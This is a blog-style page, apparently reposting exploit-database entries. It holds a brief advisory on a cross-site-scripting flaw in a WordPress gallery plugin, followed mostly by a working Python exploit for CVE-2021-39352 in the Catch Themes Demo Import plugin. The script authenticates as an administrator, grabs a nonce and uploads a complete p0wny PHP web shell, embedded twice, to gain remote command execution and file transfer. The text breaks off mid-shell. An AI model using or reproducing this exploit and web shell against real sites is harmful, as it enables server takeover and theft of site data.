Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863147398

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/60905/info

The Category Grid View Gallery plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1172[xss] 
            
# Exploit Title: Wordpress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated)
# Date 07.12.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://wordpress.org/plugins/catch-themes-demo-import/
# Software Link: https://downloads.wordpress.org/plugin/catch-themes-demo-import.1.6.1.zip
# Version: <= 1.6.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39352
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39352/README.md


'''
Description:
The Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import functionality
found in the ~/inc/CatchThemesDemoImport.php file, in versions up to 1.7,
due to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload
malicious files that can be used to achieve remote code execution.
'''

# Banner:
banner = """
 ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ 
||C |||V |||E |||- |||2 |||0 |||2 |||1 |||- |||3 |||9 |||3 |||5 |||2 ||
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|

                        [+] Catch Themes Demo Import RCE (Authenticated) 
                        [@] Developed by Ron Jost (Hacker5preme)
                        
"""
print(banner)


import argparse
import requests
from datetime import datetime

# User-Input:
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Catch Themes Demo Import - RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
print('')

# Authentication:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
check = session.get(auth_url)
# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'testcookie': '1'
}
auth = session.post(auth_url, headers=header, data=body)

# Get Security nonce value:
check = session.get('http://' + target_ip + ':' + target_port + wp_path+ 'wp-admin/themes.php?page=catch-themes-demo-import').text
nonce = check[check.find('ajax_nonce"') + 13:]
wp_nonce = nonce[:nonce.find('"')]
print(wp_nonce)

# Exploit:
exploit_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'

# Header (Exploit):
header = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0",
    "Accept": "*/*",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    'Referer': 'http://' + target_ip + '/wordpress/wp-admin/themes.php?page=catch-themes-demo-import',
    "X-Requested-With": "XMLHttpRequest",
    "Content-Type": "multipart/form-data; boundary=---------------------------121585879226594965303252407916",
    "Origin": "http://" + target_ip,
    "Connection": "close"
}

# Exploit Payload (Using p0wny shell: https://github.com/flozz/p0wny-shell):
shell_payload = "-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nctdi_import_demo_data\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"security\"\r\n\r\n" + wp_nonce + "\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"selected\"\r\n\r\nundefined\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"content_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"widget_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| 